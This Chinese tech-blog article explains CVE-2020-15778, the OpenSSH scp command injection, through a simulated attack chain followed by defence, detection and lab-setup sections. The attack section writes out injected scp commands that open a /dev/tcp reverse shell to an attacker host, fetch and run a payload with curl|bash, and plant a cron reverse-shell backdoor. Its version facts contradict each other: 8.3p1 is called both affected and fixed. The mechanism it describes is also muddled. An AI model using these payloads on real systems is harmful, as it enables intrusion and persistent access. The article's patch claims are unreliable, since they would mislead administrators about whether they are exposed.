CVE-2020-15778:OpenSSH SCP命令注入漏洞原理与实战攻防

📅 2026/7/6 11:40:42 👁️ 阅读次数 📝 编程学习
CVE-2020-15778:OpenSSH SCP命令注入漏洞原理与实战攻防

1. 项目概述:从一次内部安全演练说起

去年在一次针对内部服务器的安全渗透测试中,我们遇到了一个非常典型的场景:目标系统是一个看似“固若金汤”的跳板机,只开放了SSH(端口22)服务,并且配置了强密码和密钥认证,常规的暴力破解和漏洞扫描都无功而返。就在团队准备转向社会工程学方向时,一个同事在检查已授权的公钥时,无意间在authorized_keys文件里发现了一个熟悉的命令限制参数command=。这个发现让我们瞬间想起了那个老生常谈,却又时常被忽略的漏洞——OpenSSH的SCP命令注入漏洞,也就是CVE-2020-15778

这个漏洞的特别之处在于,它不依赖于SSH服务本身的认证绕过,而是利用了SCP(Secure Copy)客户端在解析远程命令时的一个逻辑缺陷。攻击者无需知道用户密码或窃取私钥,只要拥有一个受限的SSH账号(哪怕这个账号只能执行特定的、看似无害的命令),就有可能实现权限提升和命令执行。这就像你家的防盗门(SSH认证)非常坚固,但猫眼(SCP功能)的设计却存在瑕疵,允许外人通过特定的方式“伸手”进来拨动门内的锁舌。

本文将从一个实战攻防的视角,彻底拆解CVE-2020-15778。我们不仅会深入其技术原理,更会还原一个完整的攻击链:从信息收集、漏洞验证,到实际的命令注入利用、权限维持,最后深入探讨真正有效的防御方案和检测思路。无论你是安全工程师、系统管理员,还是对底层安全机制感兴趣的开发者,理解这个漏洞都能让你对“最小权限原则”和“攻击面管理”有更深刻的认识。

2. 漏洞核心原理:SCP客户端的“信任”与“背叛”

要理解这个漏洞,首先得弄清楚SCP的正常工作流程,以及OpenSSH是如何处理远程命令的。

2.1 SCP的正常工作流程

当你执行scp local_file user@remote_host:/tmp/时,背后发生了以下几步:

  1. 本地构造命令:你的SCP客户端(比如/usr/bin/scp)首先会通过SSH协议连接到remote_host
  2. 启动远程进程:连接建立后,本地SCP客户端会在远程主机上启动一个远程SCP进程。这个进程不是由你手动执行的,而是由SSH服务端根据客户端的请求自动派生的。在旧版本中,这个请求本质上是在远程执行一个命令,类似于:ssh user@remote_host “scp -t /tmp/”这里的-t参数代表“to”(接收方),告诉远程的SCP进程准备接收文件到/tmp/目录。
  3. 通信与传输:本地和远程的SCP进程通过SSH建立的安全通道进行通信,协商文件属性(权限、时间戳),然后传输文件数据。

问题的关键就在于第二步:本地SCP客户端是如何告诉服务端要执行什么命令的?

2.2 漏洞的根源:命令拼接与shell元字符

在受影响的OpenSSH版本(8.3p1及之前)中,SCP客户端的实现存在一个逻辑问题。当处理包含空格或特殊字符的远程文件名或路径时,客户端在构造远程命令字符串时,没有进行充分的过滤或转义。

假设我们想传输一个本地文件test.txt到远程主机的/tmp目录,但故意使用一个恶意的文件名:scp ‘test.txt’ user@remote_host:‘/tmp/$(id > /tmp/exploit)‘

在理想的安全模型中,远程SSH服务端应该收到一个安全的、参数化的命令,比如将路径/tmp/$(id > /tmp/exploit)作为一个整体字符串参数传递给远程的scp -t命令。然而,存在漏洞的客户端实现可能会这样构造命令:

scp -t ‘/tmp/$(id > /tmp/exploit)’

注意,这里的整个字符串是被单引号包裹的,作为-t的一个参数。但是,在某些代码执行路径下(特别是当本地路径名也包含空格等复杂情况时),客户端的代码可能会错误地处理引号,或者服务端在最终执行命令时,其调用逻辑(例如通过ssh user@host command这种模式)会先将命令字符串传递给一个shell(如bash)进行解析。

于是,在远程主机上,实际发生的可能是:

  1. SSH服务端收到连接和命令字符串:scp -t ‘/tmp/$(id > /tmp/exploit)’
  2. 服务端为了执行这个命令,会启动一个shell进程(例如/bin/bash -c “scp -t ‘/tmp/$(id > /tmp/exploit)’”)。
  3. Shell在解析这条命令时,会先进行命令替换。它会执行反引号或$()中的内容。因此,$(id > /tmp/exploit)会被执行,将id命令的输出写入/tmp/exploit文件。
  4. 命令替换完成后,Shell试图执行的是scp -t ‘/tmp/‘(因为$(id …)部分已被其输出结果替换,但这里输出为空,所以路径变成了/tmp/),此时SCP传输可能失败,但注入的命令id已经执行成功了

核心要点:漏洞的本质是,攻击者控制的输入(文件名/路径)被不安全地拼接到了发送给远程主机的命令字符串中,并且该字符串最终在一个Shell上下文中被解析,导致Shell元字符(如、$()、;、&等)生效。

2.3 受限环境下的威力倍增:与authorized_keyscommand=联动

单纯的命令注入,如果攻击者已经有一个可以执行任意命令的shell,那意义不大。CVE-2020-15778的威力在受限的SSH账号场景下被放大。

系统管理员经常使用SSH的authorized_keys文件中的command=选项来限制密钥的权限。例如:command=”/usr/local/bin/backup.sh”,no-port-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC…

这个配置意味着,使用对应私钥登录时,只能执行/usr/local/bin/backup.sh这个脚本,不能获得交互式shell,也不能进行端口转发。这看起来非常安全。

然而,SCP命令的调用绕过了这个限制。因为command=”…”限制的是SSH会话初始执行的命令。当客户端发起一个SCP连接时,它请求执行的命令是scp -t /path,这个命令与authorized_keys中规定的/usr/local/bin/backup.sh不匹配。在OpenSSH的默认配置下,如果请求的命令不在允许的范围内,连接会被拒绝。

但是,这里存在一个历史行为和配置问题:在某些版本或配置下,或者由于管理员的理解误区,他们可能认为SCP是“安全的文件传输”,从而在设置command=限制时,额外允许了scp命令。例如:command=”/usr/local/bin/backup.sh”,command=”scp”,no-pty …

或者,更常见的是,管理员错误地编写了包装脚本,而脚本内部没有正确地过滤所有参数,间接允许了SCP的执行。

一旦SCP命令被允许执行,攻击者就可以利用前述的命令注入漏洞,将scp -t /path中的/path参数替换为恶意注入的payload,从而在远程主机上执行任意的命令,完全突破了command=的限制,实现了从“仅能执行备份脚本”到“可执行任意命令”的权限提升。

3. 实战攻击链拆解:从信息收集到站稳脚跟

理解了原理,我们来看一个完整的攻击模拟。假设目标主机是192.168.1.100,我们通过某种方式(如源码泄露、配置错误)获得了一个受限的SSH私钥。

3.1 第一阶段:信息收集与权限确认

首先,我们需要确认这个密钥的权限。

步骤1:测试基础连接

ssh -i compromised_key user@192.168.1.100

如果直接获得了shell,那说明没有限制,漏洞可能不适用(但依然可以尝试注入)。更可能的情况是连接被立即关闭,或者提示“This account is restricted…”之类的信息,这表明存在command=ForceCommand限制。

步骤2:尝试执行特定命令

ssh -i compromised_key user@192.168.1.100 id ssh -i compromised_key user@192.168.1.100 ls -la

这些命令很可能被拒绝,返回类似“Permission denied”的错误。

步骤3:试探SCP是否被允许这是关键一步。我们尝试一个最简单的SCP操作,从远程拉取一个可能存在的文件(比如/etc/passwd),或者推送一个无害的小文件。

# 尝试从远程拉取文件(如果知道一个确切存在的文件路径) scp -i compromised_key user@192.168.1.100:/etc/hostname ./test_local # 尝试向远程推送文件 echo “test” > testfile scp -i compromised_key testfile user@192.168.1.100:/tmp/testfile_remote
  • 如果SCP成功(即使文件不存在导致拉取失败,但连接和命令协商阶段成功):这意味着远程SSH服务允许执行scp命令。这是漏洞利用的前提。
  • 如果SCP也被拒绝:说明限制非常严格,连SCP命令也不允许,那么此漏洞无法直接利用。攻击者可能需要寻找其他突破口,比如利用包装脚本本身的逻辑漏洞。

假设我们测试发现,向/tmp目录推送文件成功。这说明我们拥有一个受限的、但允许执行SCP命令的SSH账号

3.2 第二阶段:漏洞验证与命令注入

确认SCP可用后,我们开始验证漏洞是否存在。我们构造一个包含Shell元字符的“文件名”或“路径”。

方法:使用反引号或$()执行命令我们无法直接控制远程执行的scp命令,但我们可以控制传递给它的参数(即目标路径)。

# 尝试注入一个简单的命令,将执行结果写入临时文件 scp -i compromised_key testfile user@192.168.1.100:‘/tmp/$(touch /tmp/pwned_success)’ # 或者使用反引号 scp -i compromised_key testfile user@192.168.1.100:‘/tmp/`touch /tmp/pwned_success2`’

执行上述命令后,观察SCP客户端的输出。它很可能会报错,例如:scp: /tmp/: not a regular file或者protocol error: unexpected <newline>这很正常,甚至是我们期望的。因为注入的命令touch /tmp/pwned_success执行后,它本身会被其输出(空)替换,导致最终路径变成/tmp/,SCP进程会因此出错。

关键验证:随后,我们立即尝试利用这个受限账号执行一个SSH命令(虽然会被限制),但目的是检查注入是否成功。

ssh -i compromised_key user@192.168.1.100 “ls -la /tmp/pwned_success*”

如果返回了/tmp/pwned_success文件的信息,那么恭喜,命令注入成功了!我们成功地在远程主机上创建了文件,突破了command=的限制。

3.3 第三阶段:利用注入实现交互与权限维持

单纯的执行touch命令证明漏洞存在,但实战中我们需要更有用的能力,比如反弹shell、下载木马、提权等。

挑战:由于command=限制和可能的no-pty选项,我们无法获得标准的交互式终端。我们的命令执行环境是“非交互式、无TTY”的。这限制了很多需要TTY的工具(如sudosuvim等)。

利用技巧1:反弹Shell我们可以注入命令来启动一个反向连接。

# 在攻击机(192.168.1.50)上监听端口 nc -lvnp 4444 # 通过SCP注入执行反弹shell命令 scp -i compromised_key testfile user@192.168.1.100:‘/tmp/$(bash -i >& /dev/tcp/192.168.1.50/4444 0>&1)’

如果目标主机有nc(netcat)且支持-e参数,也可以使用。但bash/dev/tcp特性更为通用。连接成功后,你将在攻击机的nc监听端获得一个远程的bash shell。注意,这个shell可能仍然是受限的(受原始用户权限限制),并且没有完整的TTY。

利用技巧2:下载并执行Payload我们可以使用curlwget下载后续的攻击载荷。

# 注入命令,下载脚本并执行 scp -i compromised_key testfile user@192.168.1.100:‘/tmp/$(curl -s http://192.168.1.50/exploit.sh | bash)’ # 或者分步进行 scp -i compromised_key testfile user@192.168.1.100:‘/tmp/$(wget -O /tmp/exp.sh http://192.168.1.50/exploit.sh)’ scp -i compromised_key testfile user@192.168.1.100:‘/tmp/$(chmod +x /tmp/exp.sh && /tmp/exp.sh)’

利用技巧3:权限提升与后门安装获得初始立足点后,接下来的步骤就属于常规的内网渗透和权限提升范畴:

  1. 信息收集:检查当前用户权限(id)、sudo权限(sudo -l)、SUID文件(find / -perm -4000 2>/dev/null)、内核版本(uname -a)、运行的服务(ps aux)等。
  2. 权限提升:根据收集的信息,利用本地内核漏洞、配置错误(如可写的服务脚本、错误的sudo规则)、弱密码等进行提权。
  3. 安装后门:为了持久化访问,可以注入命令在crontab~/.ssh/authorized_keys、系统服务目录等处添加后门。由于我们是通过注入执行命令,可能需要处理用户环境变量和路径问题,建议使用绝对路径。
    # 例如,添加一个每5分钟连接一次的cron后门 scp -i compromised_key testfile user@192.168.1.100:‘/tmp/$(echo “*/5 * * * * /bin/bash -c \”exec 9<> /dev/tcp/192.168.1.50/5555 && exec 0<&9 && exec 1>&9 2>&9 && /bin/bash --noprofile -i\”” | crontab -)’

实操心得:在利用注入时,路径中的空格和特殊字符需要仔细处理。使用单引号包裹整个远程路径参数是最稳妥的方式。此外,由于注入的命令在非交互式Shell中执行,复杂的管道和重定向可能需要多次尝试或使用bash -c “…”的形式来包裹。

4. 防御方案深度剖析:从补丁到架构

面对CVE-2020-15778,防御必须是多层次、纵深式的。仅仅打补丁可能不够,需要从配置、监控和架构上综合应对。

4.1 根本措施:升级与补丁

最直接的修复方式是升级OpenSSH到安全版本。

  • OpenSSH 8.3p1 及以上版本已修复此漏洞。修复方式是在SCP客户端代码中,对传递给远程的路径参数进行了更严格的验证和转义,防止其被Shell解析。
  • 操作:立即更新所有服务器的OpenSSH套件。对于无法立即升级的系统(如某些嵌入式设备或老旧生产环境),应考虑下述的缓解措施。

4.2 配置加固:正确使用command=限制

很多漏洞利用源于对command=选项的错误配置。正确的配置哲学是“白名单最小化”,并且要理解其与SCP的交互。

  1. 避免在command=中允许scp命令:除非有绝对必要,否则不要为受限密钥授予SCP权限。文件传输可以通过其他受控方式进行,例如:

    • 在允许的命令脚本(如/usr/local/bin/backup.sh)内部集成文件上传/下载逻辑。
    • 使用SFTP子系统,并配合ChrootDirectory进行更严格的隔离。
  2. 使用强制命令包装脚本:如果必须允许某种形式的文件操作,应该使用一个自定义的包装脚本,并在脚本内部进行严格的参数过滤。

    # /usr/local/bin/restricted_scp_wrapper.sh #!/bin/bash # 只允许向特定目录传输特定后缀的文件 ALLOWED_DIR=”/var/incoming/uploads” ALLOWED_EXT=”.txt .log .dat” case “$SSH_ORIGINAL_COMMAND” in scp\ -t\ “$ALLOWED_DIR”/*) # 提取文件名,检查后缀 filename=$(echo “$SSH_ORIGINAL_COMMAND” | sed -n “s/.* ‘\([^’]*\)’$/\1/p” | xargs basename) ext=”${filename##*.}” if [[ ” ${ALLOWED_EXT[@]} ” =~ ” ${ext} ” ]]; then # 执行原始命令,但路径已被我们验证 $SSH_ORIGINAL_COMMAND else echo “File extension .$ext not allowed.” exit 1 fi ;; *) echo “Command not allowed.” exit 1 ;; esac

    然后在authorized_keys中配置:command=”/usr/local/bin/restricted_scp_wrapper.sh” …。这个脚本尝试解析客户端原始命令($SSH_ORIGINAL_COMMAND),进行白名单校验。注意:编写这样的脚本需要非常小心,避免引入新的命令注入漏洞,上述示例仅为思路参考。

  3. 使用ForceCommand替代command=:在sshd_config中使用ForceCommand指令可以全局或基于用户/组限制命令,管理起来可能比分散的authorized_keys条目更清晰。同样需要配合严格的脚本使用。

4.3 网络与主机层防护

  1. 网络访问控制:严格限制SSH服务的访问来源IP(使用防火墙如iptablesfirewalld或云安全组),仅允许管理终端和跳板机访问。
  2. 使用证书认证替代密钥:对于企业环境,考虑使用SSH证书认证,可以提供更细粒度、带过期时间的访问控制,并且集中管理,避免私钥散布。
  3. 文件完整性监控:使用AIDE、Tripwire或Osquery等工具,监控~/.ssh/authorized_keys/etc/ssh/sshd_config等关键文件的变更。
  4. 审计与日志分析:确保SSH日志(/var/log/auth.log/var/log/secure)被收集并集中分析。关注异常模式的SCP连接,特别是那些命令参数异常长、包含特殊字符的连接尝试。

4.4 架构层面:减少攻击面

  1. 隔离跳板机(堡垒机):所有运维访问必须通过统一的、经过严格加固的跳板机。跳板机上禁用不必要的服务,安装HIDS(主机入侵检测系统),并实施会话录制和命令审计。
  2. 摒弃SCP,转向更安全的替代品
    • SFTP:OpenSSH内置的SFTP子系统是一个更安全的选择。它可以被ChrootDirectory严格限制在特定目录,并且其协议设计不涉及在远程执行shell命令。
    • Rsync over SSH:虽然rsync也通过SSH运行,但它通常以更可控的方式调用远程rsync守护进程或命令。但仍需注意其本身的参数注入问题(历史上有相关CVE)。
    • 专门的文件传输服务:对于自动化文件传输,可以考虑使用FTP over TLS/SSL、HTTPS API、或对象存储服务,完全剥离与SSH的耦合。

5. 检测与应急响应:当漏洞可能已被利用

如果你管理着大量服务器,并且不确定是否已经遭受利用,可以采取以下步骤进行检测和响应。

5.1 入侵指标排查

  1. 检查SSH日志中的异常SCP命令:在SSH日志中搜索包含反引号、$()、分号;、管道|等字符的SCP会话。
    grep “scp” /var/log/auth.log | grep -E “[;\`|\$\(\)]”
  2. 检查可疑的文件创建和进程:关注/tmp/dev/shm等临时目录下近期创建的可疑文件。检查是否有未知的定时任务(crontab -l/etc/cron.*/)、系统服务、或~/.ssh/authorized_keys中的陌生密钥。
  3. 检查网络连接:使用netstat -antpss -antp查看是否有未知的外连或监听端口,特别是连接到非标准端口或可疑IP的连接。

5.2 应急响应步骤

  1. 立即隔离:如果确认某台服务器被入侵,立即将其从网络中断开,或通过防火墙阻断其所有出站和入站连接(除管理通道外)。
  2. 备份现场:对内存(dump)、进程列表(ps auxf)、网络连接(netstat)、登录日志(lastw)、SSH日志等进行备份,以备后续取证分析。
  3. 消除后门:根据排查结果,清除恶意文件、定时任务、非法密钥和账户。
  4. 修复漏洞:升级OpenSSH,并按照前述方案加固SSH配置。
  5. 全面排查:以被入侵主机为起点,排查同一网络段内、有信任关系(SSH密钥互信、sudo规则等)的其他主机。
  6. 重置凭证:更换所有可能泄露的SSH密钥、用户密码、服务账户密码。

5.3 搭建模拟环境进行验证

对于安全团队来说,最好的理解方式就是亲手验证。你可以在隔离的虚拟机中搭建环境:

  1. 安装一个旧版本的OpenSSH(<= 8.3p1)。
  2. 创建一个受限的SSH用户,在authorized_keys中设置command=”scp”
  3. 尝试从另一台主机利用该漏洞执行命令。
  4. 升级OpenSSH,验证漏洞是否修复。
  5. 尝试配置各种防御措施(如包装脚本、SFTP Chroot),并测试其有效性。

这个过程能让你对漏洞的触发条件、利用限制和防御效果有最直观的认识。

CVE-2020-15778给我们的教训是深刻的:安全是一个整体,任何一个环节的“想当然”都可能成为突破口。它提醒我们,在实施“最小权限原则”时,必须彻底理解所使用工具的全部行为含义,特别是那些涉及命令解释和参数传递的边界情况。对于系统管理员和安全工程师而言,持续学习、深度理解协议与工具的底层逻辑,并保持对配置的审慎,是构筑真正有效防御的基石。在实战中,攻击者往往就是利用这些细微的理解偏差和配置疏忽,撕开整个防御体系的裂口。